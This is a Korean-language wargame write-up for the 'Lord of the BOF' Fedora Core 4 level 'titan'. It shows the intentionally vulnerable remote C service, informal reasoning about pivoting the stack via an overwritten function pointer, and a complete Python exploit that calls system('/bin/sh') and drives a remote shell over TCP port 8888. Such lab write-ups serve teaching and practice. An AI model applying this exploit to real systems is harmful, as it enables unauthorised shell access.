[LOB FC4 - level 3]enigma -> titan

/*

        The Lord of the BOF : The Fellowship of the BOF

        - titan

        - Remote BOF on Fedora Core 4

        - hint : ? 

- port : TCP 8888

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

static char buffer[40];

static void (*ftn)();

void print()

{

        printf("nothing here\n");

fflush(stdout);

}

int main()

{

        char buf[48];

        ftn = print;

        printf("titan : What a tragic mistake.\n");

        printf("you : ");

        fflush(stdout);

// give me a food

        fgets(buf,48,stdin);

// buffer overflow!!

        strcpy(buffer,buf);

// preventing RTL

        if(((int)ftn & 0xff000000) == 0)

        {

                printf("I've an allergy to NULL");

                exit(1);

        }

// clearing buffer

memset(buffer, 0, 40);

        ftn();

}

...? ftn 을 덮는건 일도 아닌데 덮어서 뭘 호출하지.......?? 덤으로 buf 가 bss 영역에 있당... 

일단 eip 를 어캐 바꾸지 생각해 봤는데 답은 strcpy 나 fgets 같은 함수의 ret 을 덮는거라고 생각했습니다.

이걸 어캐 덮지 했는데 ftn 을 덮어서 eip 를 바꿀수 있는것을 보고, rop 처럼 하면 되려나 해서 가젯을 확인.

가젯을 보니 esp 정도는 맘대로 움직일수 있네......요?

.....? 그럼 fgets 전에 있는 add esp 로 esp 움직이고 그 후 fgets 로 다시 받고 또 움직이고....

결국 ret 를 덮어버리고.....?

좋아 수학시간이다

buf 와 esp 차이 36    => fgets ret : buf - 40

한번 하니까 esp 가 0xc 만큼 오르고 바꿔말하면 fgets ret 가 0xc 만큼 오르는거고

그럼 

count  |  1            | 2            | 3            | 4          | 5

ret      |  buf - 40   | buf - 28   | buf - 16   | buf - 4   | buf + 8

니까 1+4 해서 4번하고 

dummy [8 byte] + system + "AAAA" + /bin/sh

인가 ㄱㄱㄱㄱㄱㄱㄱㄱㄱ

import struct

from time import *

from socket import *

p32 = lambda x : struct.pack("<I",x)

gadget = 0x08048529

system = 0x7db0e7

binsh = 0x8bd987

pay = ""

pay += ("A"*40 + p32(gadget) +"\n")*4

pay += "A"*8 + p32(system) + "ABCD" + p32(binsh)

p = socket(AF_INET, SOCK_STREAM)

p.connect(("localhost",8888))

print p.recv(1024)

p.send(pay+"\n")

print p.recv(1024)

while True:

p.send(raw_input("$ ") + "\n")

print p.recv(1024)

p.close()

이예에에에

FC4 포스팅 끝